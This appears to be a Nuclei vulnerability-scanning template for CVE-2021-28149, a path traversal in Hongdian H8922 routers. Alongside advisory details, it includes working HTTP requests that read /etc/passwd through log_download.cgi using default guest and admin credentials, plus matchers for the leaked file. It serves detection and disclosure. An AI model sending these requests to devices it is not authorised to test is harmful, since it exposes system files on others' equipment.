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id : CVE-2021-28149
info :
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name : Hongdian H8922 3.0.5 Devices - Local File Inclusion
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author : gy741
severity : medium
description : |
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Hongdian H8922 3.0.5 devices are vulnerable to local file inclusion. The /log_download.cgi log export handler does not validate user input and allows a remote attacker with minimal privileges to download any file from the device by substituting ../ (e.g., ../../etc/passwd) This can be carried out with a web browser by changing the file name accordingly. Upon visiting log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a download of the contents of the /etc/passwd file.
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remediation : |
Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in Hongdian H8922 3.0.5 Devices.
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reference :
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- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
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- http://en.hongdian.com/Products/Details/H8922
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- https://nvd.nist.gov/vuln/detail/CVE-2021-28149
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score : 6.5
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cve-id : CVE-2021-28149
cwe-id : CWE-22
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epss-score : 0.06892
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epss-percentile : 0.93153
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cpe : cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
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metadata :
max-request : 2
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vendor : hongdian
product : h8922_firmware
tags : cve,cve2021,hongdian,traversal
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http :
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- raw :
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host : {{Hostname}}
Cache-Control : max-age=0
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
- |
GET /log_download.cgi?type=../../etc/passwd HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
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matchers-condition : and
matchers :
- type : word
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part : header
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words :
- "application/octet-stream"
- type : regex
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part : body
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regex :
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- "root:.*:0:0:"
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- "sshd:[x*]"
- "root:[$]"
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- type : status
status :
- 200
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# digest: 4b0a00483046022100fa8a278422f6673eebb6d71988f57da733c8e7c70084bfb06291f40dc87559e6022100f6acb55ba425626bf9ac2ea0eca15bfe694a3d9fa5d3f797d7d1dff4810032fc:922c64590222798bb761d5b6d8e72950